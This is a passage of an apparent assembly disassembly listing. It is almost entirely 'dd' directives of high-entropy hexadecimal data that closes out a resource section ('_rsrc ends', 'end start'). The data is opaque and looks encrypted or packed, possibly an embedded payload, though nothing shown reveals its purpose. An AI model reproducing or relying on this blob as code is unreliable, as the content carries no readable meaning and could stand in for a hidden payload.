0DCDF1DDBh, 9B530F70h dd 672FAAEBh, 36F41300h, 0C1B51F23h, 468DABD5h, 0E38DAAB8h dd 94D8113h, 9C718ECBh, 0DB935BB0h, 66CEB52Bh, 0F98D4905h dd 3B12FA79h, 61C78571h, 11CF8D3Fh, 0D8164482h, 0BD1AC96h dd 2923699Fh, 8653A12h, 0D16AB541h, 41FFBD7Ah, 51507208h dd 0DEC8CDB9h, 6B23D328h dd 16E3B59Bh, 653F98DAh, 0A42FEDABh, 0B3F0377Ch, 456D2978h dd 0F447C907h, 0A36A9758h, 941792D3h, 0A1612A57h, 0AE7FB4E3h dd 3E6F2DEBh, 8B602040h, 7E0CE6FBh, 0C9BD7919h, 0ACE44263h dd 0F724D46Ah, 0E19F671Fh, 0E7B7E12Ah, 9D306D2Bh, 0F9B776A3h dd 2C095E7h, 9EB68543h, 11E5B14Dh, 1A47D1D4h, 0A82F9D5Bh dd 0F7E74B2Fh, 0DD13A12h, 797CB541h, 0A90C4AA4h, 4907D40Bh dd 68A55AF2h, 3772D5A1h, 7BC6621Eh, 9E27E591h, 98B46284h dd 0A937BFA9h, 0BD4D6AC2h, 0C9CC05F1h, 92D889C2h, 59D215D3h dd 0DC5F94CFh, 4CECA8D3h, 0F36F17F1h, 8B45E470h, 0C1693EFBh dd 0C76146EDh, 0ED89DA72h, 0A11A5521h, 1235062h, 78A76524h dd 0EB52FAA0h, 0E9517501h, 96BEACEDh, 9FDB94Dh, 96DECDC8h dd 19D79693h, 3B1C22D0h, 2158A551h, 4C896C03h, 396B5D0Ah dd 68DDBD7Bh, 6D3B4EE1h, 0DB84B057h, 0D617DFAEh, 533D5420h dd 12856A3h, 0C4E9387h, 63BF6238h, 81A9FD89h, 8947112Bh dd 0EC82DBCBh, 0AB63FF40h, 85A392DBh, 0D9FCAAEFh, 616F17D2h dd 30717FFAh, 82931937h, 0FF894D63h, 0CF595B0Ch, 0D09A9B05h dd 61A779D7h, 89E86844h, 35BABE23h, 0C7C6650Fh, 0D57CF2EBh dd 61C7AF77h, 11CF8D4Fh, 0E1EDB770h, 0BBFAF7Bh, 0ECC9B43h dd 0C9C77F48h, 1ED74D50h, 8CC9B38Eh, 4927074Ch, 9384B05Ah dd 0DA17DFAEh, 611F71D7h, 0B9270BA3h, 0E64E3C7Ah, 790DC9A1h dd 96C77236h, 89A105F1h, 0DABA14AEh, 9E2FC6D8h, 835F1DDBh dd 0A961C1C0h, 73E4503Ah, 3877FFCEh, 0A84F31B7h, 0C98EAD0Eh dd 6E1C4D0Bh, 0D9AD4784h, 76DE8CCAh, 0E99D5931h, 254D2DA8h dd 0C56BC2B8h, 0A6427D09h, 9FD92CBh, 0C05C024Bh, 30D79F69h dd 0F2DF7311h, 0BE9674B1h, 31C5917Dh, 0C3F7CDF6h, 3B8A2E52h dd 75DB7208h, 5E9FCDB9h, 49EC77E5h, 1710B57Bh, 97C898DAh dd 0FE388CBAh, 0F52F642h, 0CB6AB036h, 0B59BBA48h, 35220DF9h dd 22326052h, 0A3F4600Eh, 29670FD7h, 8364C050h, 8F8B36F3h dd 0C1740D13h, 7B1C3803h, 518F7736h, 0EBA584A8h, 0F2535D1Bh dd 0F34EE262h, 0F1AF6D19h, 7EFD7533h, 1F53FEEh, 73BFEE43h dd 9696F032h, 19ED82ABh, 0A1DF9D5Bh, 29EBE3B8h, 113EA360h dd 0D3165899h, 61E5505Bh, 0AEED2E67h, 71DEEDACh, 0BEF43E5Fh dd 41CE29BBh, 8EC30246h, 85D01B4Dh, 6F34D650h, 0A15FDD9Bh dd 7867C8E3h, 76BCE238h, 7ABE3525h, 4B84F92Dh, 77612AC4h dd 5B94C108h, 489CD9FFh, 0E178D10Eh, 3977A6EBh, 3B706DF4h dd 217C75EFh, 1542BAEBh, 0C55B87C4h, 12439C0Bh, 135091D9h dd 2EDF43DAh, 0EA1E8B48h, 0FA376CB7h, 0FAF770B9h, 0C5BF71AFh dd 0CAC75E84h, 0DBCF4981h, 0CD0F509Ch, 0ACE59D4Fh, 0B7EDE575h dd 0B5FD2A64h, 79D0F566h, 95C83E6Ah, 0BC21EA9Dh, 96C10A43h dd 9EC91693h, 76AE069Bh, 77AD25E7h, 75BDEA24h, 58772826h dd 8284F232h, 899BEEC3h, 454FDC04h, 9A9CDA1Ch, 0E473F6DBh dd 2A6365F6h, 60B0AAF7h, 0F2366A7Ch, 24AFF707h, 0ED49FE88h dd 247F28A7h, 9E81DCECh, 10E6CE45h, 0DFD71F4Fh, 0A92F5F34h dd 0C759AC33h, 32B725EEh, 29BDCC8Bh, 31EFAD6Bh, 39F7B573h dd 41FFBD7Bh, 4907C583h, 510FCD8Bh, 5917D593h, 611FDD9Bh dd 6927E5A3h, 712FEDABh, 7937F5B3h, 813FFDBBh, 894705C3h dd 914F0DCBh, 995715D3h, 0A15F1DDBh, 0A96725E3h, 0B16F2DEBh dd 0B97735F3h, 0C17F3DFBh, 7C874503h, 319BAD11h, 0E4D7F296h dd 609F5D29h, 0DB962180h, 44BE6D2Bh, 283461F6h, 0C8767023h dd 80978441h, 38F3A987h, 2299995h, 0D0E75B66h, 3D292C6Fh dd 0BAFB6B46h, 0BC6F5E0h, 584367Bh, 2007EFBAh, 79514C88h dd 17F88EF5h, 0E6A7DD97h, 691DC173h, 712F09C3h, 79261DB3h dd 6CCFDBBh, 897D2438h, 65473614h, 9D1794D7h, 261E68BDh dd 0A95D1843h, 0B02858AEh, 8B5BE578h, 0BC8F5CFBh, 0C90639F3h dd 0AF93258Eh, 2604DE61h, 609F673Eh, 0EE5B651Dh, 0FFB25B06h dd 8575FA23h, 801DA4E3h, 0D3B857Dh, 10BABB32h, 71C7632Ah dd 5C9EE08Ah, 0A6C2E74Eh, 31C59027h, 0D32B4ABh, 0E584303Eh dd 0C07EFBAh, 632E6D08h, 5917D593h, 611BB59Bh, 0EEA2E5A3h dd 7105D00Bh, 44D45DBh, 815795C2h, 36CA05C3h, 9165306Bh dd 124FE2D3h, 93426640h, 0D4F34CE3h, 834E8D60h, 3EF674F3h dd 0C1B50057h, 0F427D28Ch, 0D0F74D39h, 0E8975513h, 702A1C54h dd 0E9A765A3h, 8BDC05FDh, 6EBA084Ah, 1F54077h, 0EF4ACF46h dd 95DE8D3Fh, 19D79652h, 21EF63DEh, 2994216Ah, 0EF7AAD6Bh dd 718F6577h, 407EC001h, 7B368100h, 8155CC8Bh, 2297DD1Dh dd 0E138299Bh, 68DBC7DCh, 0F840846Bh, 1AB8F67Bh, 0DC1EA0E2h dd 458B7E44h, 0FDA40DFFh, 180F3C0Ch, 2C6E63A4h, 0A9672552h dd 0CB87AE09h, 3E7603C6h, 0C17F3D56h, 0C9B1C4D1h, 171A4AF8h dd 50993C03h, 32D05C15h, 94D5934Bh, 0B5046C52h, 56B73F0Ah dd 78373DB8h, 94B014Ah, 0A6AE8D4Bh, 19EDA80Fh, 5B34F58Bh dd 0AEEAD81Ah, 31C59027h, 4BB32FAh, 4502BD49h, 98A149Fh dd 5C4AFC8Dh, 477ADD21h, 0B0FF961Bh, 6D0BC1E4h, 5A13F184h dd 0B9E2D1B7h, 0F8C096D6h, 0D6F250CAh, 0E8D02F37h, 0C0B5D27Bh dd 0D8E02727h, 0D4C81C3Ch, 0C8F0FF17h, 15CC13A1h, 0B8001707h dd 0B84F2E96h, 0A8104FF7h, 0A83F3EE8h, 982047E7h, 8A8C58E1h dd 88305FD7h, 9A9C4803h, 96BE77C7h, 9FDB8DFh, 6C20E696h dd 9805E82Ah, 4C88891Dh, 6896D819h, 0E9F3436Bh, 448C651Bh dd 67943502h, 0AB07EFA1h, 4F07FE33h, 587B95F5h, 0C8C5BB9Dh dd 1EFDF4Dh, 0C4E9A98h, 0FC2FB336h, 594413ECh, 0F43C2DABh dd 90298DB2h, 49E71C26h, 83499ADDh, 0C0C125D1h, 6997C3CAh dd 0B801B55Dh, 0D22F2508h, 0B4FC4D6Bh, 0D190F572h, 871B5513h dd 81F052E7h, 9BC22B59h, 0F1076A46h, 50377533h, 8E82C05Dh dd 3BEF19D0h, 6486A44Bh, 9EAED40Dh, 21D5A5D2h, 21E7A563h dd 72AF3A62h, 0BE8DBC13h, 413585F0h, 0AB0D3284h, 38344680h dd 0D69C9F86h, 5F1FE7A3h, 66CDDF50h, 755ACA9Ch, 5E38FA51h dd 3D275459h, 3678BAh, 6D8390Eh, 996D286Bh, 26165C76h dd 0A95D1D6Ah, 0B96F2DEBh, 0BD37A2FAh, 5DE7933Fh, 42F6387Ah dd 0E3AEF198h, 561C1F13h, 0E29F6723h, 0DAA661D0h, 0B19A6B46h dd 7ECE349Eh, 1F545B2h, 1C78543h, 9659A8B7h, 19EDADDCh dd 0C3EAFD1Ch, 0CB2C2C68h, 97871DC6h, 17032FDh, 2140BD49h dd 0ADEEC29Eh, 60BAC704h, 30B22FD3h, 0ECC3658Dh, 0DF82E5A0h dd 43076628h, 3ADFF1B3h, 0C0EAE5DBh, 0A9227973h, 913AB529h dd 8232BC31h, 0C9B71935h, 0D41651FCh, 0F2212960h, 0BE9D3D93h dd 68657D74h, 5937446Eh, 991A3A5h, 0A4EB557Bh, 15F1D962h dd 319F8B15h, 8CC21943h, 7F1074Ah, 7B84897Eh, 7380710Dh dd 6B8A7905h, 63D3611Dh, 5BEB6915h, 99E3512Dh, 81BCC414h dd 89B0DC08h, 0F144D408h, 848ACFBh, 698B7200h, 0DE6ED5A1h dd 6115E512h, 0E927E5A3h, 917FEC57h, 0F4BC801Dh, 813FC783h dd 7D3F05C3h, 1884B5CAh, 54F215B7h, 99EE9AAAh, 0A96A25D1h dd 357E2EEBh, 0B97735A2h, 6829554Bh, 0F41FFA8Ch, 0B91F4D39h dd 6610FCBDh, 0E19560AFh, 0D126E252h, 0F1B26D19h, 0EE4B7533h dd 394EFA4Ah, 9C78571h, 16238E4Bh, 64A5D63Bh, 87882D22h dd 816C2CCEh, 0B8EF9752h, 0B2AF9C3Ah, 733E0DC0h, 35BF4E83h dd 2CF32833h, 192A7CA1h dd 0E6567479h, 691DDD2Ah, 712FEDAEh, 0FE4DF73Fh, 8175C530h dd 0E14CF143h, 0EC2E6F0Dh, 12BBF06Bh, 0E152B4F9h, 2E1E8C01h dd 0B1451562h, 0B97735F6h, 46F5EA07h, 0C9BD7D88h, 0B994BA8Bh dd 0A4E62709h, 9CDCF973h, 8187D55Ah, 8CCE1499h, 415D4E56h dd 0A8256A42h, 9E422CD4h, 11E5B5C2h, 57AEC322h, 21DF9D5Eh dd 0D37FB190h, 818ED010h, 4067DD6Ah, 0F9E5C002h, 0E0EDD2FAh dd 1C9A641Ch, 64A7521Eh, 290ADDA9h, 1C532D2Ch, 43076028h dd 7937F4B3h, 0F46D09BBh, 0BB6F8840h, 914F0DCBh, 0EC79E1D1h dd 93579058h, 0A96725E3h, 0D974DAECh, 0C4064A85h, 0F90EBA8Ah dd 0C9874531h, 0D663490Bh, 0A4E55A7Bh, 6C242862h, 0EDA74F1Bh dd 5AF6D2Bh, 835E1D22h, 2A770042h, 0A07FF703h, 0E58F85F3h dd 0EE5F3C4Fh, 8806F423h, 11662212h, 31F7AD59h, 0F40CB573h dd 798C02FBh, 0BD07C5B1h, 2B2AA549h, 729FA8EAh, 6768F683h dd 5B0F6E00h, 7053ADABh, 41B052BDh, 31EAFD89h, 0EC1AB74h dd 91653540h, 8F97A57Dh, 93579658h, 118D8BE3h, 3606528Dh dd 0B94D0D7Ah, 0C17F3DEBh, 23740EFh, 2627A7A5h, 6932AF67h dd 0A192F373h, 7D14EE8Eh, 84AF5712h, 0CB7FF8B0h, 1BF5D3Bh dd 0B9C07243h, 94548393h, 0AFD79F6Bh, 616025B9h, 11662212h dd 312FAD59h, 380BB573h, 4727F9FBh, 7B2F4020h, 0DABA278Bh dd 6B264D28h, 0E656749Bh, 691DDD2Ah, 0B12FEDABh, 0A987FE40h dd 0B9C67ABDh, 0FCE105F1h, 0A3678048h, 995795D3h, 116AEADBh dd 21EC2B5Bh, 176F17D3h, 19D0A9Eh, 46F625CCh, 0C9BD7D8Ah dd 0D18F4E0Bh, 0F22753DFh, 0D927FA15h, 8DE76511h, 7914632Eh dd 1BB73F0Bh, 82779796h, 844CF033h, 11CFB773h, 0EED79555h dd 27A7295Dh, 1BCF2DC0h, 0BA5A476Bh, 0BC601C8h, 699B057Bh dd 3CA2C583h, 63274008h, 5917DD93h, 9D0299Bh, 14569A94h dd 49BE6ADAh, 7D37F581h, 88B4FDBBh, 0E41BD73h, 91653544h dd 0EC947C7Dh, 93579058h, 0A95F25E3h, 5360DAEBh, 0AF17B44Bh dd 0F3B7B658h, 0F8229F03h, 0C6FAE34Bh, 0C1B0EDF1h, 0D928FA15h dd 8DE76511h, 7A14632Eh, 1BB73F0Bh, 8C440896h, 9C7AF7Bh dd 0F3CF8D5Bh, 0ED9716EBh, 29A31D5Eh, 1160026Dh, 9815AD59h dd 0B67CFF7Ah, 0E8FF8743h, 347385EBh, 0DC94B8F2h, 5917DFABh dd 95DFDD9Bh, 67F755ACh, 43076828h, 0FE4E5BB3h, 8175C532h dd 894725C3h, 8FA4877Bh, 54D411CFh, 24C493A1h, 22670FDBh dd 834EB160h, 39D2CFF3h, 0C4743A7Fh, 40745B3h, 0B9398D72h dd 0A4E629ECh, 0D92EDA6Ah, 29A76511h, 49556D2Bh, 0F74C46D1h dd 0A8255687h, 8EC19DF3h, 11E5B5C4h, 0AFDAF513h, 5C9B4933h dd 5C5F151Ah, 3C720E8h, 3977B573h, 0F1014A7Bh, 0CCAC4B01h dd 0B30FF7B3h, 5E63553Eh, 618FD868h, 0A9562823h, 0D1A8505h dd 0FE4E88CAh, 8175C532h, 894805C3h, 51DF0438h, 0A1DE92DDh dd 0C8C91DE9h, 28CFBFEAh, 34D423ABh, 5B77FFCBh, 67808D56h dd 0F106C272h, 0D18F4D39h, 0F46C5515h, 0D92EDA6Ah, 0E9A76511h dd 0E7446D27h, 7EB13583h, 1F545B4h, 314522CDh, 71908D79h dd 0FB5F6F43h, 214F34DCh, 0E957AD0Eh, 9782A65h, 4C51B541h dd 733730F8h, 4107C583h, 0B3FF3A8Bh, 4F6F542Bh, 53175538h dd 0D982FFA3h, 0C13784ACh, 0F1BCFB7Bh, 273FC783h, 0B1C682B2h dd 914F0DF9h, 6EE815C3h, 19853A28h, 0E615D66h, 0B1451563h dd 0F94A9C11h, 5D3C1655h, 0BC876F3Ah, 0E3A7C088h, 0F9975513h dd 52BEAA1Bh, 0BB20CD2h, 0F7A76693h, 0CB7FFD90h, 0A33D3Bh dd 313F224Dh, 0B8358D79h, 24432A7Ch, 62699D69h, 147302EDh dd 9815AD59h, 0BEF96DC3h, 413585FAh, 0C48CB02Dh, 500FF7B3h dd 0AD18D593h, 0ECA4A8BDh, 6927CF9Bh, 8633EDABh, 0F4BC80A1h dd 813FC783h, 7E4A05C3h, 0E7D365C8h, 302F68AAh, 0D41E60A5h dd 9B4FA860h, 0B16F2DEBh, 97AC1FBh, 46F693B4h, 0C9BD7D8Ah dd 518F4D0Bh, 0DC2775DFh, 0D926DA35h, 89E86511h, 0F9386235h dd 5EB9750Fh, 1F545BAh, 89CAE103h, 0A17A8907h, 0A13D3BB4h dd 86E9FD22h, 29DD9DE2h, 0B6860489h, 39CD8DFAh, 41FFBD5Bh dd 0CE7E146Fh, 5125F502h, 7917D593h, 2456D267h, 6927E5A6h dd 0E17FEA57h, 0F04A9C1Dh, 15CC74FAh, 0A0472FFAh, 0ED90868Ch dd 1E51CD63h, 0A155255Ah, 24EC504Dh, 0B16F17D3h, 4D77F5F3h dd 1137D7EFh, 4C0C4B46h, 0B88F7733h, 0A41FAF1Dh, 6404537Bh dd 0BA74F1Bh, 7C341886h, 0F8B73F0Bh, 0F5C07D3Bh, 844CF0B6h dd 11CFB773h, 0EDF79553h, 20A6E850h, 0DDE7A563h, 975F1D68h dd 7472C41Eh, 7CAB3AF6h, 122C5B1h, 606B0504h, 0D49CA0DCh dd 611FE7A3h, 9E2765A3h, 0F4B462A1h, 0EF37BF8Bh, 0FABF3DB3h dd 62FF4C6h, 0B59342C7h, 0F91815C3h, 8EAADD3h, 118D1F86h dd 18956DDCh, 39F68D11h, 0C17F8513h, 2BE84303h, 563A95A6h dd 3B9DA25Ch, 3DF6EA3h, 3FEAD58Eh, 0C92BEAA0h, 7ECE7501h dd 1F545B2h, 19C78543h, 380687B8h, 2B24D2Bh, 8C74CD6h dd 0A0B78C1Bh, 3CE19E0h, 0AD6CB673h, 42FF8742h, 6DCB4CBCh dd 0BAAC4687h, 0D017DF83h, 531E4520h, 0FDACCCA3h, 42FD792h dd 4BFF7830h, 813F3DBBh, 0FC49F1C3h, 9511A493h, 188EBFD3h dd 935E5160h, 2D6625E3h, 0B16F2EB4h, 0B9773A9Bh, 0F44F4FBh dd 0F84382C9h, 1D535F3Dh, 4EE655D7h, 0E19564E1h, 0D4C7E2ACh dd 78626D19h, 0A1BA49EBh, 88E78C42h, 699FB186h, 98AEF038h dd 2BE6D5C0h, 0DFE2445Bh, 4D6C2E67h, 30EF9752h, 0BE70BDB5h dd 41358013h, 341F340Eh, 510F4D3Eh, 2EA0BD93h, 0DEAAA0E2h dd 691DD8E3h, 69C8579h, 0EEB288CAh, 8175C0FBh, 883FCB4Eh dd 0DB7A0105h, 945C7E56h, 0A160FD53h, 6FEB28E3h, 0B06F2DECh dd 8B467140h, 45343CFBh, 65876F3Ah, 569E252Fh, 0D99755B5h dd 0C8A39790h, 0DB96E1A0h, 21B56C2Bh, 84CC9B5Bh, 417CFC42h dd 9C7AF7Ah, 0D4EA84B8h, 5A9857h, 48DF9D5Ch, 697C9E67h dd 3CEF9752h, 39F8BAF0h, 0C584BC7Bh, 0AB07EFBAh, 766EF50Ch dd 5963529Ah, 0A1AADD9Bh, 5DEACCA5h, 61C857Bh, 0C60088CAh dd 8175C0FBh, 892B82CAh, 16520DCBh, 996D288Fh, 9CE39ADEh dd 0A9E225D1h, 0BC7BE8C6h, 0B9777A75h, 0C94604FBh, 0C9CBC40Ah dd 91124D0Bh, 0CD5E5415h, 0DC23DA1Eh, 39796511h, 0CCCFDA52h dd 6EC67501h, 1F54401h, 487029Dh, 11CF38C8h, 1943FE53h dd 5CDB9D5Bh, 297B226Ah, 0B6FAD6Bh, 0B07CB860h, 0C8FFBD7Bh dd 8822C641h, 0ED771DB7h, 6266A8DFh, 531E9D20h, 68DE12A3h dd 430EA928h, 0FDBCF4B3h, 0A3FC782h, 0BB766940h, 0A84F84CBh dd 0AB667150h, 9867EBDBh, 9B564D60h, 8E98DBEBh, 497735F3h dd 0DCE7080Dh, 46874503h, 921A31C1h, 179A533Eh, 8D24640Bh dd 1EA74F1Ah, 0E1F3EC1Fh, 3D36464Ah, 68206117h, 8E46C45Eh dd 11E5B0E7h, 9D6C1CB3h, 49DFA762h, 5496D2BDh, 31EF068Ch dd 330C3573h, 0AF0B7856h, 41CEFC8Ch, 2C2B4B82h, 54D0A8EAh dd 1C5D6B18h, 4D136CDAh, 59BE482Ch, 446F5B3h, 3F2A00C2h dd 696BCB44h, 5B2F0DCBh, 95D255E6h, 0EDE498F7h, 22670FDAh dd 834E6568h, 28C0BAF3h, 0C07F3DD3h, 0FBB6C180h, 7634A70Bh dd 0D8DD7CD9h, 1F8A49DDh, 906D1F27h, 25302843h, 0FEB77533h dd 8ABF7D3Bh, 0D316F981h, 86AE580Eh, 19EDACDDh, 2CFEF51Ch dd 29E8BBE0h, 0D7237D6Bh, 44865B5Bh, 733AD3E8h, 94474283h dd 52144582h, 7F6FD593h dd 95EA0F8h, 6927E5B4h, 0B3C30A7Eh, 0A8DC195Ch, 6FB41C58h dd 4AB0F12Ch, 49E470CBh, 0E4571FEAh, 935A1F48h, 49ECAEE3h dd 0D96F17D2h, 0B97735ECh, 2253DA2Eh, 3C46A2EEh, 2061AAE1h dd 967BEFBh, 0A55B6EDh, 0E4E82C7h, 0D8D7B82Bh, 91C6085Ch dd 1BF7D2Eh, 0EE196296h, 0DF3E79BEh, 0F22945B0h, 0C60B76A9h dd 0FCE74282h, 4C98A203h, 39E9DD0Ah, 0A6D2BD7Bh, 0A0EA2645h dd 9FBF3D78h, 0B5F01F7Ch, 61C43878h, 1578D72h, 695790D2h dd 0A837F5B3h, 62A73C58h, 43ACE029h, 73B8F922h, 72A9C52Ch dd 468BF629h, 7C67C202h, 0CC176283h, 36ABE58Ah, 0F3B9A178h dd 196BAB03h, 0AC464EE5h, 0EBA21F80h, 0C59BD61Bh, 0D099F25Ah dd 0B1996D19h, 0C36BCAB8h, 0D10F7D09h, 957CF893h, 0F9CFB775h dd 19DB9554h, 0F4E07387h, 1407321Ah, 0D723AD59h, 0AE86606Fh dd 4135809Bh, 341B8106h, 632E1538h, 0B38CA893h, 0BC1FE7A6h dd 0BD9C6AE6h, 0A32FD791h, 40C962CAh, 0F9C2FD89h, 30CB08BAh dd 1A4F0DCBh, 0AB66F150h, 735FF3DBh, 90C5B29Ah, 0F1F42DD9h dd 0B9DBB1FAh, 81AA3DFBh, 0C86195D3h, 3990A3DBh, 99975513h dd 2B3420C9h, 68A74F1Eh, 75BE1053h, 0F9B7725Bh, 3C27FAB4h dd 86448571h, 11E5B09Fh, 242B02D8h, 0EF309D69h, 5437A58Dh dd 3CA53F8h, 447F3473h, 46B53972h, 49E1C583h, 6CF77AF2h dd 0CE66D5A1h, 6115E469h, 64569D26h, 71347027h, 85BC7EB3h dd 0B03FC782h, 5A0A048Ch, 95B9DE1Bh, 71EC6804h, 0DC5F27E2h dd 9B52F370h, 0BC2FAAEBh, 0B97CCC6Fh, 4AC80CFBh, 0FBB6C580h dd 2409E0Bh, 0D49748FBh, 76DE8D1Bh, 0E99D5CBDh, 75BE2DA8h dd 0F9B772FFh, 3C43FAB4h, 0B18A8571h, 11CF603Eh, 6CDF5CDEh dd 13D710D8h, 29E7A563h, 30F55A7Bh, 0BE75EF0h, 40518C7Bh dd 3C78B0C4h, 0C19446ECh, 0E117DFAAh, 611FF506h, 68132C2Eh dd 431F0628h, 7869C4B3h, 0F43088FCh, 1CC8EA4h, 0D04F37F2h dd 9B92A0DAh, 2E547CA4h, 1C663D36h, 0E172392Eh, 9138DC3Ch dd 0F7006DFEh, 2360B0DAh, 508CB974h, 279859EDh, 0DD6AD47Bh dd 0E8BBA3AEh, 353C7DEDh, 0A2CE08FBh, 86FA3E1Eh, 9FDB8B7h dd 3503040Eh, 9497A443h, 21DF25DDh, 6462E463h, 8E7CA406h dd 39CD879Fh, 705E34FFh, 0AA3369CCh, 0A72BC77Dh, 7933D362h dd 95FBE135h, 9D05D9C7h, 862FD1F0h, 0F07094DBh, 5984C2BCh dd 80BB0500h, 3F92DCF0h, 0A8DC18D3h, 281E60A2h, 62BE1AE6h dd 357EEC21h, 0C40648D1h, 1642E8C0h, 0D00B48C9h, 0EEEE3072h dd 0E7AA94C2h, 9CAFD912h, 3994185Ah, 0FC7EB9FEh, 84C672AFh dd 699A4C42h, 74B6F768h, 67B79DB8h, 71A6E827h, 5C9EDF7Ch dd 5383216Ah, 5FC2D012h, 39F79F1Bh, 3CE2D57Bh, 495FB8FAh dd 8E0FCD8Bh, 6824BA14h, 3848DDA9h, 8D27E5A6h, 0C6BADBD2h dd 790DC82Fh, 63617657h, 4F843744h, 90138AC2h, 43D215D3h dd 433D1CDFh, 6EB71C64h, 0B0C3AAE2h, 780E35F3h, 0C19F3DE9h dd 6C0C4803h, 0A38F4D0Eh, 0D49989D6h, 0E1A2C297h, 0E16AEC23h dd 510FCD10h, 743B7893h, 3EBF7D3Eh, 29E7A563h, 10530942h dd 0A2AF9553h, 2C9EE021h, 29EA5EE5h, 79542C6Bh, 39F77F4Ah dd 0C8077BF6h, 0A22D54Dh, 1122C97Eh, 111AD2FEh, 0EA2F1314h dd 5B166920h, 7DF9ECABh, 7A37F50Bh, 27272EBBh, 0B93678A2h dd 0A3678258h, 0A977A6D3h, 93578F68h, 0D347CBE3h, 0A587F5A4h dd 0C41EA59Bh, 0CCD1BA82h, 0A7DA038Fh, 0E91EDA3Ch, 0BEF25521h dd 0D92EDA6Ah, 0E9A76511h, 0CF436E2Bh, 0C136F242h, 1C27D09h dd 53C8543h, 295E2ACCh, 64A69561h, 278AE422h, 11662AE4h dd 31EFAD59h, 3B0FBD73h, 9AFFBD7Bh, 4907BF6Bh, 8F77158Bh dd 0CF66A8F2h, 53175818h, 3FAB5FA3h, 7105D52Ah, 41BE723Bh dd 0E121FD89h, 0B1C682B2h, 91570DF9h, 92AC15D3h, 99E8A25Bh dd 5D6825D1h, 3CF458A8h, 0B977FFCBh, 35873DFBh, 4C34C51Eh dd 0D68F7733h, 6617E5DFh, 0E1956593h, 690E9120h, 0C387E690h dd 634B7233h, 394EFA4Ah, 9C78571h, 1A230D4Bh, 215E2AD3h dd 0D4E19D69h, 654C24ECh, 31EF9752h, 448AB01Bh, 3EE0D502h dd 0B95FB8FAh, 0D80FCD8Dh, 6B265D08h, 0EDBCDC9Bh, 127CF9Ah dd 0C4E9154h, 77E771BAh, 36CAFDBBh, 897D383Fh, 906BCF46h dd 0E6A17D89h, 1F6E60A2h, 0A96723DDh, 5153E36Ch, 301735F3h dd 0C055EB81h, 2F8A51FDh, 5C14381Bh, 0D9975F2Bh, 16AF5D1Bh dd 0B914EE2Fh, 7EAF5712h, 0CB7FE980h, 0EA4CF43Bh, 78C7AF53h dd 346858E7h, 96D7955Dh, 13EF9DE8h, 9A4CD463h, 40F1CC6Bh dd 0B47CC0CFh, 41FF8743h, 4417C583h, 510F5F07h, 71EAA893h dd 1C4D67F3h, 29BC6CDAh, 0F62FD792h, 0E1BBF8E5h, 83FFDBBh dd 0BB768170h, 819984CBh, 797BDB54h, 88FF1DDBh, 0A79A2D2Dh dd 3F7266DEh, 52F40CDFh, 487F07EBh, 0FB97AE88h, 5845BB0Bh dd 7E1A7127h, 0E1954DF4h, 20EE423h, 0F1AF6D2Bh, 0FAAF8BBEh dd 74C275F5h, 8E42F0C2h, 11E5B0D3h, 21561222h, 211F9D69h dd 271BA563h, 0BFF2B51Ah, 0B2C79E77h, 733EF1C8h, 61FA4C83h dd 0D666FD8Ch, 592DED1Ah, 611FDD5Bh, 715EE34Fh, 0DF8857Ch dd 10E088CAh, 0A9B2FCAFh, 5A43F3EEh, 4CF37C19h, 5EC9A0Ch dd 2A5F27E3h, 9B567558h, 6CD35CEBh, 27483829h, 0C1D4B870h dd 5EB14503h, 0D1A57580h, 87704FE0h, 0EF9387E3h, 81D7B5ABh dd 8CCE3393h, 0F571FCEDh, 74CFB33Eh, 3BEF08C0h, 11CF8D4Bh dd 1E181A43h, 0AE688CA8h, 29DD9827h, 21182A6Eh, 9C7AB541h dd 41FFBD94h, 61CAEC83h, 51C34804h, 0DE6ED593h, 6115E14Fh dd 6927E5A4h, 0B076E857h, 0D99755BBh, 0CC4881Bh, 89472FFBh dd 65CF0DCBh, 5F2FC3D2h, 771E60AAh, 9423AA6Eh, 0B6122DD9h dd 0D04FFC7Ch, 890CB4F0h, 0A8876F3Ah, 5892240Dh, 5EEE7DDEh dd 0E1956592h, 0E9A76526h, 763A79D7h, 0F98D4863h, 3C7BF23Eh dd 8ECA8571h, 11E5B0F3h, 0CF529D54h, 0A964144Bh, 12E78F5Ah dd 3002A5A5h, 3AEF7BFCh, 0A082ADBDh, 0CE82C55Bh, 5125F01Bh dd 592F497Bh, 69E1DE9Bh, 0B9EAE67Ch, 49BC7A25h, 0FE4EF581h dd 8175C532h, 994705C3h, 1E520737h, 996D053Ch, 26161D69h dd 0A95D1D6Ah, 0B1712DEBh, 0FB052100h, 0F90EBA8Ah, 0C9874531h dd 0D3644D07h, 0E115E29Dh, 66D65D29h, 0E99D5DAAh, 0F1AFAD2Bh dd 0FC317CC0h, 0FF693B3Dh, 60BEE311h, 1FD60344h, 4BD93B15h dd 6FD2E83Dh, 0CDC92C7Fh, 0B027ABE2h, 0BC65DC8h, 0C50EBD7Bh dd 3476BBD9h, 6C937AF2h, 0CE66D5A1h, 6115E421h, 54A752DAh dd 0E64EED99h, 790DCC85h, 0BCAB7230h, 1EC405F1h, 91653037h dd 99B1C304h, 9C87AAA2h, 3E1625D1h, 0B145145Dh, 848F828Ah dd 56FE3DC9h, 0C9BD7C35h, 0EB43FA80h, 6EE65521h, 0E19560F7h dd 433C18F1h, 70AF5716h, 0CB869D90h, 69827D3Bh, 9C78543h dd 92D06390h, 2BEE0B38h, 2C8F455Bh, 3E0F2224h, 7174AD59h dd 44AF3436h, 0C640B00Bh, 493DD27Bh, 51FFF2CEh, 45ECD5BDh dd 45DB5E79h, 9ED809A7h, 35570DBEh, 8E4688CAh, 0F71395B8h dd 0D71F78BAh, 722E70B2h, 617468F9h, 19712909h, 0A96725C0h dd 0CCD4450Bh, 828C488Ah, 0F1A3F976h, 0F35BF288h, 11A4D39h dd 0DF18AF1Bh, 0C6525B19h, 0E9A78DF1h, 0B53A6D52h, 296975DDh dd 38BDEA42h, 4D4A8571h, 0CDED0E43h, 0EE03A86Ah, 25A51C5Eh dd 5491260Bh, 4C0EC512h, 7818C80Ah, 41FF49C3h, 0F1B8AC83h dd 510FCDA2h, 5917CAFBh dd 61FF9B9Bh, 6927D51Bh, 711F85ABh, 5D79F5B3h, 82C445BBh dd 881F05C3h, 0CF4F0DCBh, 4DD415F7h, 8B2C11F7h, 55675D66h dd 0B117CDF4h, 307735F3h, 1EAF1927h, 0A6085B8Eh, 0D1A575FCh dd 0A4F8017Bh, 0E5E1BE62h, 0EAAE5F23h, 0CCB16A2Eh, 0D54EDE85h dd 0D7543E8Dh, 0CC403F50h, 3F88h, 22h dup(0) dd 1580h dup(?) _rsrc ends end start